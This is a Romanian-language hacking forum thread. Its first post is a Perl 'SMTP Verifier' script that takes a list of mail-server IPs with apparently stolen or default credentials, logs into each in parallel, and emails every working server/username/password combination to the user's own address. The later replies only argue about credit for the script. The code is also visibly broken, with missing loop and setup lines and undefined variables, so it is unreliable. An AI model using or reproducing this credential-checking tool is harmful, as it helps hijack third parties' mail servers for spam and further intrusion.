Htich Posted October 28, 2014 Report Share Posted October 28, 2014 (edited) #!/usr/bin/perl# Smtp Verifier . Easy , Simple , Faster , Bether .## Contact: [email]kiinder@jabber.se[/email] ### Put Smtp List In File smtp.txt EX: 192.168.1.1 admin admin # EX: 200.1.22.11 mail hackme# require MIME::Base64;# require Authen::SASL;# use Net::SMTP;# use Parallel::ForkManager;## To Install Use This :## perl -MCPAN -e 'install Parallel::ForkManager'# perl -MCPAN -e 'install Authen::SASL'# perl -MCPAN -e 'install Net::SMTP'# perl -MCPAN -e 'MIME::Base64'### [root@rst admin]# perl check.pl# Smtp Verefier By Rst: Hit Enter# From name <example: Test>: yahoo.com# From address <example: user.com>: [email]rst@localhost.com[/email]# Your email address <example: myemail.com>: [email]herearethesmtp@list.com[/email]# Maximum threads <example: 150>: 50# Mail file <example: mail.txt>: mail.txt# SMTP file <example: smtp.txt>: smtp.txt#[+] Testing 204.232.250.23 admin 1234 | Done.#[+] Testing 205.128.228.141 admin | Done.#[+] Testing 205.128.228.143 admin admin123 | Done.require MIME::Base64;require Authen::SASL;use Net::SMTP;use Parallel::ForkManager;print "From name <example: Test>: ";my $name = <STDIN>;chomp($name);print "From address <example: [email]user@domain.com[/email]>: ";my $from = <STDIN>;chomp($from);print "Your email address <example: [email]myemail@mydomain.com[/email]>: ";my $to = <STDIN>;chomp($to);print "Maximum threads <example: 150>: ";my $max = <STDIN>;chomp($max);print "Mail file <example: mail.txt>: ";my $mail = <STDIN>;chomp($mail);print "SMTP file <example: smtp.txt>: ";my $smtp = <STDIN>;chomp($smtp);open(INFO, $mail); @Info = split(/ /, $line); $server = $info[0]; $username = $info[1]; $pass = $info[2]; $subject = $server.' - '.$username.'/'.$pass; print "[+] Testing $server $username $pass | "; $connection = Net::SMTP->new($server, Timeout => 20, Debug => 0); if (!defined($connection) || !($connection)) { print ("Error at connecting. Skipping.\n"); } else { $connection->auth($username, $pass); $connection->mail($from1); $connection->to($to); $connection->data; $connection->datasend("From: $name <$from>\r\n"); $connection->datasend("To: $to\r\n"); $connection->datasend("Content-Type: text/html \r\n"); $connection->datasend("Subject: $subject\r\n"); $connection->datasend("\r\n"); $connection->datasend("$body\r\n"); $connection->datasend("\r\n"); $connection->dataend(); $connection->quit; print ("Done.\n"); }$pm->finish;} Edited October 28, 2014 by Htich Quote Link to comment Share on other sites More sharing options...
Reckon Posted October 28, 2014 Report Share Posted October 28, 2014 #!/usr/bin/perl# Smtp Verifier . Easy , Simple , Faster , Bether .## Contact: [email]kiinder@jabber.se[/email] ### Put Smtp List In File smtp.txt EX: 192.168.1.1 admin admin E al nu stiu catelea tool care-l postezi sub semnatura ta:Exploit-ID » SMTP Verification Tool Quote Link to comment Share on other sites More sharing options...
scriptlordz Posted November 10, 2014 Report Share Posted November 10, 2014 macar a postat ceva util,spre deosebire de postul tau. te-ai simtit tu lezat ca nu a precizat sursa... of of Quote Link to comment Share on other sites More sharing options...
Htich Posted November 11, 2014 Author Report Share Posted November 11, 2014 Sursa o am de ceva ani ( 3 ani cred ) , am "regasit-o pe un cd ". Quote Link to comment Share on other sites More sharing options...
Aerosol Posted November 14, 2014 Report Share Posted November 14, 2014 Sursa o am de ceva ani ( 3 ani cred ) , am "regasit-o pe un cd ".Oricum nu e frumos sa iti asumi meritele pe munca altuia,orice postezi incearca sa dai credite autorului! Quote Link to comment Share on other sites More sharing options...
Htich Posted November 14, 2014 Author Report Share Posted November 14, 2014 Oricum nu e frumos sa iti asumi meritele pe munca altuia,orice postezi incearca sa dai credite autorului!Pe bune ? ) Uitam care este varza si care este capra ! Quote Link to comment Share on other sites More sharing options...
mircboot Posted November 18, 2014 Report Share Posted November 18, 2014 Thanks bro Quote Link to comment Share on other sites More sharing options...